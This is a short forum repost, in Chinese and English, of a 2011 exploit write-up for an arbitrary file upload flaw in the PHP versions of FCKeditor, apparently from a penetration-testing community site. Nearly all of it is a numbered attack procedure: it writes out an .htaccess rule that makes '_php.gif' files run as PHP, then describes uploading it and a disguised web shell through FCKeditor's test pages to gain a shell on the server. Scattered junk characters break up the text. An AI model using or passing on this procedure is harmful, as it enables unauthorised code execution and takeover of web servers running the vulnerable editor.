| FCKeditor所有php版本Upload上传漏洞 作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 减小字体 增大字体 [+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability [+] Date: 2011 [+] Author : sinesafe.cn) q# X7 f e/ j [+] Website : WwW.sinesafe.cn ———————————————————- Y2 P8 M5 t) x$ d1 c0 V1 ~6 p 1.create a htaccess file: code:- p3 @& F; d* d <FilesMatch “_php.gif”> SetHandler application/x-httpd-php </FilesMatch> 8 g8 R* ?" p* B4 Q 2.Now upload this htaccess with FCKeditor.* C! J3 x# T7 y( c $ [- n, L" J% x4 {9 |8 H http://www.sinesafe.cn/FCKeditor ... er/upload/test.html % K0 {) C, r8 C/ d# M http://www.sinesafe.cn/FCKeditor ... onnectors/test.html . S7 \# z3 S$ r& u; E5 @8 R ———————————————————————————————- 3.Now upload shell.php.gif with FCKeditor.6 J( [4 W" H) T9 M/ @0 W 4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically. 5.http://www.sinesafe.cn/anything/shell_php.gif 6.Now shell is available from server. |
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |